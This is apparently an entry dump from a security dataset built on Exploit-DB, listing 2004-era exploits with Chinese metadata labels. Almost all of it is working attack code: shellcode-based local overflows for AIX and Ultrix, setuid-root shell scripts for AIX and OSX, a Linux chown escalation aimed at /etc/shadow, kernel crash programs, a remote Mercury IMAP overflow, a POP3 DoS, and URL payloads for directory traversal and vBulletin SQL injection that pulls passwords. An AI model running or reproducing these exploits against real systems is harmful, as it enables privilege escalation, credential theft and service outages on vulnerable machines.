QLWD/code_shield huggingface dataset:
标题: Microsoft Windows Kernel - '.ANI' File Parsing Crash EDB-ID: 721 CVE: 2004-1305 类型: DOS 平台: WINDOWS 发布日期: 2004-12-25 漏洞利用脚本: <!--
Got to give it to flashsky on this one.  Download this lovely file to your desktop
and get ready to cry if your not patched or browse with ie and the vuln should work.

str0ke
-->

<html>
<style type="text/css">
<!--
body {CURSOR: url("sploits/KERNELBLUE.ani")}
-->
</style>
<body>
111111111111111111111111111111
</body>
</html>

// milw0rm.com [2004-12-25] URL: https://www.exploit-db.com/exploits/721
标题: AIX 5.1 < 5.3 - paginit Local Stack Overflow EDB-ID: 699 CVE: 2004-1330 类型: LOCAL 平台: AIX 发布日期: 2004-12-20 漏洞利用脚本: /* exploit for /usr/bin/paginit
   tested on: AIX 5.2

   if the exploit fails it's because the shellcode
   ends up at a different address. use dbx to check,
   and change RETADDR accordingly.

   cees-bart <ceesb cs ru nl>
*/

#define RETADDR 0x2ff22c90

char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"      
"\x7c\xa8\x02\xa6"      
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"      
"\x7c\xc7\x48\x10"      
"\x38\x46\xc9\x05"      
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"      
"\x38\x87\xee\xef"      
"\x7c\xc9\x03\xa6"      
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"      
"\x2f\x73\x68\x00"
;

char envlabel[] = "X=";

void printint(char* buf, int x) {
  buf[0] = x >> 24;
  buf[1] = (x >> 16) & 0xff;
  buf[2] = (x >> 8) & 0xff;
  buf[3] = x & 0xff;
}

int main(int argc, char **argv) {
  char *env[3];
  char code[1000];
  char buf[8000];
  char *p, *i;
  int offset1 = 0;

  offset1 = 0; // atoi(argv[1]);
  
  memset(code, 'C', sizeof(code));
  memcpy(code, envlabel,sizeof(envlabel)-1);
  // landingzone 
  for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) 
    printint(i, 0x7ca52a79);

  memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);  
  code[sizeof(code)-1] = 0;
  
  env[0] = code;
  env[1] = 0;

  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf)-1] = 0; 
  
  p = buf;
  p += 4114;
  printint(p,RETADDR); // try to hit the landingzone
  p += 72;
  printint(p, RETADDR); // any readable address (apparently not overwritten)

  execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}

// milw0rm.com [2004-12-20] URL: https://www.exploit-db.com/exploits/699
标题: Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation EDB-ID: 718 CVE: 2004-0497 类型: LOCAL 平台: LINUX 发布日期: 2004-12-24 漏洞利用脚本: /*
 * $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_chown.c - sys_chown missing DAC controls on Linux
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Unknown vulnerability in Linux kernel 2.x may allow local users to 
 * modify the group ID of files, such as NFS exported files in kernel 
 * 2.4 (CAN-2004-0497).
 *
 * "Basically, you can change the group of a file you don't own, but not
 * of an SGID executable." -- Solar Designer (0dd)
 *
 * On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you 
 * don't own, even on local filesystems. This may allow a local attacker to 
 * perform a privilege escalation, e.g. through the following attack vectors:
 *
 * 1)  Target /etc/shadow: on some distros (namely slackware 9.1 and debian
 * 3.0, probably others) the shadow group has read access to it.
 * 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents.
 * 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
 * 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
 *
 * Usage:
 * $ gcc raptor_chown.c -o raptor_chown -Wall
 * $ ./raptor_chown /etc/shadow
 * [...]
 * -rw-r-----    1 root     users         500 Mar 25 12:27 /etc/shadow
 *
 * Vulnerable platforms:
 * Linux 2.2.x (on nfs exported files, should be vuln) [untested]
 * Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
 * Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
 */

#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

#define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

int main(int argc, char **argv)
{
 char  cmd[256];

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* read command line */
 if (argc != 2) {
  fprintf(stderr, "usage: %s file_name\n\n", argv[0]);
  exit(1);
 }
                
 /* ninpou: sys_chown no jutsu! */
 if (chown(argv[1], -1, getgid()) < 0) {
  switch(errno) {
   case EPERM:
    fprintf(stderr, "Error: Not vulnerable!\n");
    break;
   default:
    perror("Error");
  }
         exit(1);
 }
 fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");

 /* print some output */
 sprintf(cmd, "/bin/ls -l %s", argv[1]);
 system(cmd);

 exit(0);
}

// milw0rm.com [2004-12-24] URL: https://www.exploit-db.com/exploits/718
标题: AIX 4.3/5.1 < 5.3 - 'lsmcode' Execution Privilege Escalation EDB-ID: 701 CVE: 2004-1054 类型: LOCAL 平台: AIX 发布日期: 2004-12-21 漏洞利用脚本: mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh

# milw0rm.com [2004-12-21] URL: https://www.exploit-db.com/exploits/701
标题: Ultrix 4.5/MIPS - dxterm 0 Local Buffer Overflow EDB-ID: 698 CVE: 2004-1326 类型: LOCAL 平台: ULTRIX 发布日期: 2004-12-20 漏洞利用脚本: /* Ultrix 4.5/MIPS dxterm exploit
  by ztion in 2004
  Greets to: Stok, sidez

  It wasn't possible to use '/' in the shellcode. Probably dxterm only
  copies everything after the last slash, as it expects a path.
  Since everything is pretty much hardcoded, you will probably have to
  tweak it for versions other than 4.5

  nora> ./ultrix_dxterm_4.5_exploit
  $ id
  uid=268(ztion) gid=15(users)euid=0(root)
*/

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
       0x69,0x6e,0x19,0x3c,    /* lui   $t9, 0x6e69 */
       0x2e,0x61,0x39,0x37,    /* ori   $t9, $t9, 0x612e */
       0x38,0x01,0xb6,0x23,    /* addi  $s6, $sp, 312 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0xf0,0xfe,0xd9,0xae,    /* sw    $t9, -272($s6) */
       0x73,0x68,0x19,0x3c,    /* lui   $t9, 0x6873 */
       0x11,0x11,0x06,0x24,    /* li    $a2, 0x1111 */
       0x11,0x11,0xc6,0x38,    /* xori  $a2, $a2, 0x1111 */
       0x2e,0x2e,0x39,0x37,    /* ori   $t9, $t9, 0x2e2e */
       0xf0,0xfe,0xc4,0x26,    /* addiu $a0, $s6, -272 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0x3f,0x01,0x02,0x24,    /* li    $v0, 319 */
       0xfc,0xfe,0x42,0x20,    /* addi  $v0, $v0, -260 */
       0xf4,0xfe,0xd9,0xae,    /* sw    $t9, -268($s6) */
       0xe8,0xfe,0xc4,0xae,    /* sw    $a0, -280($s6) */
       0xf8,0xfe,0xc6,0xae,    /* sw    $a2, -264($s6) */
       0xec,0xfe,0xc6,0xae,    /* sw    $a2, -276($s6) */
       0xe8,0xfe,0xc5,0x26,    /* addiu $a1, $s6, -280 */
       0xcc,0xff,0xff,0x01     /* syscall */

};

int main(void)
{
       char buf[256];
       int i;

       memset (buf, 2, 255);
       i = 0;
       while (i <= 8) {
               ((int *)(buf+1))[i] = NOP;
               i++;
       }

       memcpy (buf+33, shellcode, sizeof(shellcode));

       ((int *)(buf+3))[29] = RET;
       /* 119 - 122 is the return address */
       buf[123] = '\0';

       execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}

// milw0rm.com [2004-12-20] URL: https://www.exploit-db.com/exploits/698
标题: Linux Kernel 2.4.28/2.6.9 - 'ip_options_get' Local Overflow EDB-ID: 692 CVE: 2004-1335 类型: DOS 平台: LINUX 发布日期: 2004-12-16 漏洞利用脚本: /* int overflow in ip_options_get
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases (like securityfocus and mitre)
 * */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad; 
char msg[128];
struct cmsghdr *cmsg,*cm2; 
char opts[12];

s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080); 

connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); 

memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  -1;

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420; 
msghdr.msg_iov = iovector;

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
 perror("sendmsg");
return 42;
}

// milw0rm.com [2004-12-16] URL: https://www.exploit-db.com/exploits/692
标题: Linux Kernel 2.4.28/2.6.9 - vc_resize int Local Overflow EDB-ID: 690 CVE: 2004-1333 类型: DOS 平台: LINUX 发布日期: 2004-12-16 漏洞利用脚本: /* vc_resize int overflow
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases
 * */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>

int main(int ac, char **av)
{
int fd;
struct vt_consize vv;
int cou=4242;

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&vv,0,sizeof(vv));
vv.v_clin=0;
vv.v_vcol=0;
vv.v_ccol=0;

/* magic values, overflow on i386*/
vv.v_rows=65535;
vv.v_cols=32769;

system("sync");
if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;}
while(cou--) printf(";)\n");
close(fd);
return 42;
}

// milw0rm.com [2004-12-16] URL: https://www.exploit-db.com/exploits/690
标题: Linux Kernel 2.4.28/2.6.9 - 'scm_send Local' Denial of Service EDB-ID: 685 CVE: 2004-1016 类型: DOS 平台: LINUX 发布日期: 2004-12-14 漏洞利用脚本: /*
*      Linux kernel 2.4 & 2.6 __scm_send DoS
*      Warning! this code will hang your machine
*
*      gcc -O2 scmbang.c -o scmbang
*
*      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>

static char buf[1024];

void
fatal (const char *msg)
{
   printf ("\n");
   if (!errno)
     {
         fprintf (stderr, "FATAL: %s\n", msg);
     }
   else
     {
         perror (msg);
     }
   printf ("\n");
   fflush (stdout);
   fflush (stderr);
   exit (1);
}

int
main (void)
{
   int s[2], r;
   struct sockaddr_in sin;
   struct msghdr *msg;
   struct cmsghdr *cmsg;

   r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
   if (r < 0)
       fatal ("socketpair");

   memset (buf, 0, sizeof (buf));
   msg = (void *) buf;
   msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
   cmsg = (void *) msg->msg_control;

   cmsg->cmsg_len = sizeof (*cmsg);
   cmsg->cmsg_level = 0xdeadbebe;
   cmsg->cmsg_type = 12;       // len after overflow on second msg
   cmsg++;

// -12 for deadlock
   cmsg->cmsg_len = -12;
   cmsg->cmsg_level = SOL_IP;
   msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
   r = sendmsg (s[0], msg, 0);
   if (r < 0)
       fatal ("sendmsg");

   printf ("\nYou lucky\n");
   fflush (stdout);

   return 0;
}

// milw0rm.com [2004-12-14] URL: https://www.exploit-db.com/exploits/685
标题: Linux Kernel 2.4.22-28/2.6.9 - 'igmp.c' Local Denial of Service EDB-ID: 686 CVE: 2004-1137 类型: DOS 平台: LINUX 发布日期: 2004-12-14 漏洞利用脚本: /*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>

#define MCAST_INCLUDE                   1
#define IP_MSFILTER                     41

#define IP_UNBLOCK_SOURCE               37
#define IP_BLOCK_SOURCE                 38

struct ip_msfilter
{
   __u32 imsf_multiaddr;
   __u32 imsf_interface;
   __u32 imsf_fmode;
   __u32 imsf_numsrc;
   __u32 imsf_slist[1];
};

struct ip_mreq_source
{
   __u32 imr_multiaddr;
   __u32 imr_interface;
   __u32 imr_sourceaddr;
};

void
fatal (const char *message)
{
   printf ("\n");
   if (!errno)
     {
         fprintf (stdout, "FATAL: %s\n", message);
     }
   else
     {
         fprintf (stdout, "FATAL: %s (%s) ", message,
                  (char *) (strerror (errno)));
     }
   printf ("\n");
   fflush (stdout);
   exit (1);
}

int
main ()
{
   int s, r, l;
   struct ip_mreqn mr;
   struct ip_msfilter msf;
   struct ip_mreq_source ms;
   in_addr_t a1, a2;

   s = socket (AF_INET, SOCK_DGRAM, 0);
   if (s < 0)
       fatal ("socket");

//      first join mcast group
   memset (&mr, 0, sizeof (mr));
   mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
   l = sizeof (mr);
   r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
   if (r < 0)
       fatal ("setsockopt");

//      add source filter count=1
   memset (&ms, 0, sizeof (ms));
   ms.imr_multiaddr = inet_addr ("224.0.0.199");
   ms.imr_sourceaddr = inet_addr ("4.5.6.7");
   l = sizeof (ms);
   r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
   if (r < 0)
       fatal ("setsockopt2");

//      del source filter count = 0
//      imr_multiaddr & imr_interface must correspond to ADD
   memset (&ms, 0, sizeof (ms));
   ms.imr_multiaddr = inet_addr ("224.0.0.199");
   ms.imr_sourceaddr = inet_addr ("4.5.6.7");
   l = sizeof (ms);
   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
   if (r < 0)
       fatal ("setsockopt2");

//      del again, count = -1
   memset (&ms, 0, sizeof (ms));
   ms.imr_multiaddr = inet_addr ("224.0.0.199");
   ms.imr_sourceaddr = inet_addr ("4.5.6.7");
   l = sizeof (ms);
   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
   if (r < 0)
       fatal ("setsockopt3");

//      crash
   memset (&ms, 0, sizeof (ms));
   ms.imr_multiaddr = inet_addr ("224.0.0.199");
   ms.imr_sourceaddr = inet_addr ("4.5.6.7");
   l = sizeof (ms);
   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
   if (r < 0)
       fatal ("setsockopt4");

   getchar ();

   return 0;
}

// milw0rm.com [2004-12-14] URL: https://www.exploit-db.com/exploits/686
标题: Hosting Controller 0.6.1 Hotfix 1.4 - Directory Browsing EDB-ID: 675 CVE: 2004-1217 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-05 漏洞利用脚本: Advisory Information
-------------------------

Software Package    : Hosting Controller
Vendor Homepage     : http://www.hostingcontroller.com
Platforms            : Windows based servers
Vulnerable Versions : All version ( Tested on: v.6.1 Hotfix 1.4 )
Vendor Contacted   : 12/5/2004
Release Date:       : 12/7/2004

Summary
------------

Hosting Controller is a complete array of Web hosting automation tools
for the Windows Server family platform.
Hosting Controller has a security flaw which allows attackers to browse
any file and any directory on that server.

Details
---------

Vulnerability - Directories Browsing files on the system.
Foolish vulnerability:

1)This vulnerability is on the admin/mail/Statsbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to
http://www.yoursite.com/admin/mail/Statsbrowse.asp?FilePath=c:\&Opt=3&level=1&upflag=0

2)This vulnerability is on the admin/iis/Generalbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to <br/>
http://www.yoursite.com/admin/iis/Generalbrowse.asp?FilePath=C:\

Solution
----------

The vender was notified, they have released a patch.
Update Your software

Credits
---------

Discovered on May 6, 2004 by (\/) Mouse
Mouse@Shabgard.org
Additional Research: s7az2mm and bl2k
http://Shabgard.org

References
-------------

http://isun.Shabgard.org/hc.html
http://isun.Shabgard.org/hc.txt

# milw0rm.com [2004-12-05] URL: https://www.exploit-db.com/exploits/675
标题: Apple Mac OSX Adobe Version Cue - Local Privilege Escalation EDB-ID: 680 CVE: 2005-1307 类型: LOCAL 平台: OSX 发布日期: 2004-12-08 漏洞利用脚本: Proof of concept:

haven:~ fintler$ cd ~
haven:~ fintler$ id
uid=502(fintler) gid=500(fintler) groups=500(fintler)
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755
/Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh
haven:~ fintler$ chmod 0755 ./productname.sh
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .
haven:~ fintler$ ./stopserver.sh
Stopping  ...

./stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or directory
No matching processes belonging to you were found
haven:~ fintler$ ./sh
sh-2.05b# id
uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler)
sh-2.05b# whoami
root
sh-2.05b#

# milw0rm.com [2004-12-08] URL: https://www.exploit-db.com/exploits/680
标题: GetRight 5.2a - '.grs' Skin File Buffer Overflow EDB-ID: 677 CVE: 2004-0575 类型: DOS 平台: WINDOWS 发布日期: 2004-12-06 漏洞利用脚本: GetRight Skin File (*.grs) Buffer Overflow May Let Remote Users Run Arbitrary
Code

Application:  GetRight
             Headlight Software
             www.getright.com

Author:
ATmaCA <atmaca@prohack.net>

a remote user can create a malicious skin file (*.grs) that, when loaded by the
target user, will trigger a buffer overflow in DUNZIP32.DLL (4.0.0.3) and
potentially execute arbitrary code.

AFFECTED VERSION:
Versions verified to be vulnerable:
GetRight 5.2a and prior versions are affected.

Solutions:
There was no response.

Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/677.grs (c_skin.grs)
When you copy or click this link, getright automaticly download and try to load
crafted skin and will trigger buffer overflow

# milw0rm.com [2004-12-06] URL: https://www.exploit-db.com/exploits/677
标题: Mercury/32 Mail Server 4.01 - 'Pegasus' IMAP Buffer Overflow (3) EDB-ID: 663 CVE: 2004-2513 2004-1211 类型: REMOTE 平台: WINDOWS 发布日期: 2004-11-29 漏洞利用脚本: #########################################################
#                                                       #
# Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow      #
# Discovered by : Muts                                  #
# Coded by : Muts                                       #
# WWW.WHITEHAT.CO.IL                                    #
# Plain vanilla stack overflow in the SELECT command   #
#                                                       #
#########################################################


import struct
import socket
from time import sleep

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Lame calc.exe shellcode - dont expect miracles!

sc2 = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x29\x81\x73\x17\xb1\x74"
sc2 += "\x3f\x7c\x83\xeb\xfc\xe2\xf4\x4d\x9c\x69\x7c\xb1\x74\x6c\x29\xe7"
sc2 += "\x23\xb4\x10\x95\x6c\xb4\x39\x8d\xff\x6b\x79\xc9\x75\xd5\xf7\xfb"
sc2 += "\x6c\xb4\x26\x91\x75\xd4\x9f\x83\x3d\xb4\x48\x3a\x75\xd1\x4d\x4e"
sc2 += "\x88\x0e\xbc\x1d\x4c\xdf\x08\xb6\xb5\xf0\x71\xb0\xb3\xd4\x8e\x8a"
sc2 += "\x08\x1b\x68\xc4\x95\xb4\x26\x95\x75\xd4\x1a\x3a\x78\x74\xf7\xeb"
sc2 += "\x68\x3e\x97\x3a\x70\xb4\x7d\x59\x9f\x3d\x4d\x71\x2b\x61\x21\xea"
sc2 += "\xb6\x37\x7c\xef\x1e\x0f\x25\xd5\xff\x26\xf7\xea\x78\xb4\x27\xad"
sc2 += "\xff\x24\xf7\xea\x7c\x6c\x14\x3f\x3a\x31\x90\x4e\xa2\xb6\xbb\x5a"
sc2 += "\x6c\x6c\x14\x29\x8a\xb5\x72\x4e\xa2\xc0\xac\xe2\x1c\xcf\xf6\xb5"
sc2 += "\x2b\xc0\xaa\xdb\x74\xc0\xac\x4e\xa4\x55\x7c\x59\x95\xc0\x83\x4e"
sc2 += "\x17\x5e\x10\xd2\x5a\x5a\x04\xd4\x74\x3f\x7c"

#Change RET Address as needed
buffer = '\x41'*260 +  struct.pack('<L', 0x782f28f7)+ '\x90'*32+sc2

print "\nSending evil buffer..."
s.connect(('192.168.1.167',143))
s.send('a001 LOGIN ftp ftp' + '\r\n')
data = s.recv(1024)
sleep(3)
s.send('A001 SELECT ' + buffer+'\r\n')
data = s.recv(1024)
s.close()
print "\nDone! "

# milw0rm.com [2004-11-29] URL: https://www.exploit-db.com/exploits/663
标题: Alex Heiphetz Group eZshopper - 'loadpage.cgi' Directory Traversal EDB-ID: 659 CVE: 2000-0187 类型: WEBAPPS 平台: CGI 发布日期: 2004-11-25 漏洞利用脚本: Example:

http://targethost/cgi-bin/loadpage.cgi?user_id=id&file=.|./.|./.|./.|./.|./etc/passwd%00.html

# milw0rm.com [2004-11-25] URL: https://www.exploit-db.com/exploits/659
标题: DMS POP3 Server 1.5.3 build 37 - Remote Buffer Overflow EDB-ID: 644 CVE: 2004-1533 类型: REMOTE 平台: WINDOWS 发布日期: 2004-11-21 漏洞利用脚本: #===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
        PeerPort => $ARGV[1],
        Proto    => "TCP"))
{
 print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

 sleep(1);

 print $socket "USER " . "A" x 1023;

 close $socket;

 sleep(1);

 if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
         PeerPort => $ARGV[1],
         Proto    => "TCP"))
 {
  close $socket;

  print "failed!\n";
 }
 else
 {
  print "successful!\n";
 }
}
else
{
 print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

# milw0rm.com [2004-11-21] URL: https://www.exploit-db.com/exploits/644
标题: vBulletin - 'LAST.php' SQL Injection EDB-ID: 631 CVE: 2004-1515 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-15 漏洞利用脚本: Example:

http://www.example.com/last.php?fsel=,user.password%20as%20title,user.%20%20%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201

# milw0rm.com [2004-11-15] URL: https://www.exploit-db.com/exploits/631